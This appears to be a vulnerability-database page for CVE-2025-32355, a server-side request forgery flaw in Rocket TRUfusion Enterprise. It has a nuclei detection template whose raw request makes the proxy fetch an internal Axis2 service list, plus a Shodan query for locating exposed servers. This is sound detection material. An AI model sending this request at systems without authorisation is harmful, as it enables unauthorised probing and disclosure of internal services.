HexBrain

Browse / CVEs / CVE-2025-32355

CVE-2025-32355

Rocket TRUfusion Enterprise - Server Side Request Forgery

highseverity
1.3%likelihood of exploitation, next 30 days
71%of all CVEs are less likely
Readycheck to confirm it

Rocket TRUfusion Enterprise through 7.10.4.0 uses a reverse proxy to handle incoming connections. However, the proxy is misconfigured in a way that allows specifying absolute URLs in the HTTP request line, causing the proxy to load the given resource.

Impact

Attackers can make the proxy load arbitrary resources, potentially leading to information disclosure or further attacks.

Fix

Update to the latest version with proxy configuration fixes.

How to confirm it

Send: GET http://127.0.0.1:8080/axis2/services/listServices
Positive when: contains "Available services" or "Service Description" AND status 200

Run it with nuclei: nuclei -id CVE-2025-32355 -u <target>

The full check
id: CVE-2025-32355

info:
  name: Rocket TRUfusion Enterprise - Server Side Request Forgery
  author: princechaddha,rcesecurity,DhiyaneshDk
  severity: high
  description: |
    Rocket TRUfusion Enterprise through 7.10.4.0 uses a reverse proxy to handle incoming connections. However, the proxy is misconfigured in a way that allows specifying absolute URLs in the HTTP request line, causing the proxy to load the given resource.
  impact: |
    Attackers can make the proxy load arbitrary resources, potentially leading to information disclosure or further attacks.
  remediation: |
    Update to the latest version with proxy configuration fixes.
  reference:
    - https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32355
  metadata:
    verified: true
    max-request: 1
    shodan-query: 'html:"TRUfusion Enterprise"'
  tags: cve,cve2025,rocket,trufusion,ssrf,vkev

http:
  - raw:
      - |+
        GET http://127.0.0.1:8080/axis2/services/listServices HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Encoding: gzip, deflate, br
        Accept-Language: en-US,en;q=0.5
        Connection: keep-alive

    unsafe: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Available services"
          - "Service Description"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from